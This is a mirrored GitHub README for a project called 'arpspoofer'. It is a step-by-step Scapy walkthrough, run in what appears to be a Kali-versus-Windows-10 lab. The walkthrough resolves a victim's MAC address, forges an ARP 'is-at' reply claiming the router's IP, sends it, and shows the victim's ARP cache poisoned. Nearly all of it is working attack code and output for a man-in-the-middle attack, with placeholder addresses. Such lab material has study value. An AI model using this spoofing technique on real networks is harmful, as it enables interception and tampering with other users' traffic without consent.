Code Monkey home page Code Monkey logo

arpspoofer's Introduction

ARP SPOOFING

  • some variables

BROADCAST_MAC: ff:ff:ff:ff:ff:ff

KALI_IP      : KALI_IP
KALI_MAC     : ka:li:ma:c0:ad:dr

W10_IP       : W10_IP
W10_MAC      : w1:00:ma:c0:ad:dr

ROUTER_IP    : ROUTER_IP
ROUTER_MAC   : ro:ut:er:0m:ac:00
  • create Ether layer

    broadcast = Ether(dst=BROADCAST_MAC)
    
    broadcast.show()
    

    output:

    ###[ Ethernet ]###
        dst= BROADCAST_MAC
        src= KALI_MAC
        type= 0x9000
    
  • create ARP layer

    arp_layer = ARP(pdst=W10_IP)
    
    arp_layer.show()
    

    output:

    ###[ ARP ]###
        hwtype= 0x1
        ptype= IPv4
        hwlen= None
        plen= None
        op= who-has
        hwsrc= KALI_MAC
        psrc= KALI_IP
        hwdst= 00:00:00:00:00:00
        pdst= W10_IP
    
  • create ARP packet

    arp_packet = broadcast/arp_layer
    
    arp_packet.show()
    

    output:

    ###[ Ethernet ]###
          dst= BROADCAST_MAC
          src= KALI_MAC
          type= ARP
    ###[ ARP ]###
         hwtype= 0x1
         ptype= IPv4
         hwlen= None
         plen= None
         op= who-has
         hwsrc= KALI_MAC
         psrc= KALI_IP
         hwdst= 00:00:00:00:00:00
         pdst= W10_IP
    
  • send ARP request ang get answered and unanswered lists

    answer, unanswer = srp(arp_packet, timeout=2, verbose=True)
    

    output:

    Begin emission:
    Finished sending 1 packets.
    
    Received 1 packets, got 1 answers, remaining 0 packets
    
    answer
    

    output:

    <Results: TCP:0 UDP:0 ICMP:0 Other:1>
    
    answer[0]
    

    output:

    (<Ether  dst=BROADCAST_MAC type=ARP |<ARP  pdst=W10_IP |>>,
     <Ether  dst=KALI_MAC src=W10_MAC type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=W10_MAC psrc=W10_IP hwdst=KALI_MAC pdst=KALI_IP |<Padding  load='\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' |>>>)
    
  • get sent and received layers fromn answer

    sent, received = answer[0]
    
    sent
    

    output:

    <Ether  dst=BROADCAST_MAC type=ARP |<ARP  pdst=W10_IP |>>
    
    received
    

    output:

    <Ether  dst=KALI_MAC src=W10_MAC type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=W10_MAC psrc=W10_IP hwdst=KALI_MAC pdst=KALI_IP |<Padding  load='\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' |>>>
    
    sent.show()
    

    output:

    ###[ Ethernet ]###
        dst= BROADCAST_MAC
        src= KALI_MAC
        type= ARP
    ###[ ARP ]###
         hwtype= 0x1
         ptype= IPv4
         hwlen= None
         plen= None
         op= who-has
         hwsrc= KALI_MAC
         psrc= KALI_IP
         hwdst= 00:00:00:00:00:00
         pdst= W10_IP
    
    received.show()
    

    output:

    ###[ Ethernet ]###
        dst= KALI_MAC
        src= W10_MAC
        type= ARP
    ###[ ARP ]###
         hwtype= 0x1
         ptype= IPv4
         hwlen= 6
         plen= 4
         op= is-at
         hwsrc= W10_MAC  <---
         psrc= W10_IP
         hwdst= KALI_MAC
         pdst= KALI_IP
    ###[ Padding ]###
        load= '\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'
    
  • get target mac address

    target_mac = received.hwsrc # W10_MAC
    
  • create spoofing packet

    spoof_packet = ARP(op=2, hwdst=W10_MAC, pdst=W10_IP, psrc=ROUTER_IP)
    
    spoof_packet
    

    output:

    <ARP  op=is-at psrc=ROUTER_IP hwdst=W10_MAC pdst=W10_IP |>
    
    spoof_packet.show()
    

    output:

    ###[ ARP ]###
        hwtype= 0x1
        ptype= IPv4
        hwlen= None
        plen= None
        op= is-at
        hwsrc= KALI_MAC
        psrc= ROUTER_IP
        hwdst= W10_MAC
        pdst= W10_IP
    
  • check arp

    C:\>arp -a | findstr "KALI_IP ROUTER_IP"
      KALI_IP           KALI_MAC       dynamic
      ROUTER_IP         ROUTER_MAC     dynamic
    
  • send spoof packet

    send(spoof_packet, verbose=False)
    
  • check again arp

    C:\>arp -a | findstr "KALI_IP ROUTER_IP"
      KALI_IP           ROUTER_MAC       dynamic
      ROUTER_IP         ROUTER_MAC     dynamic
    

arpspoofer's People

Contributors

atrox3d avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.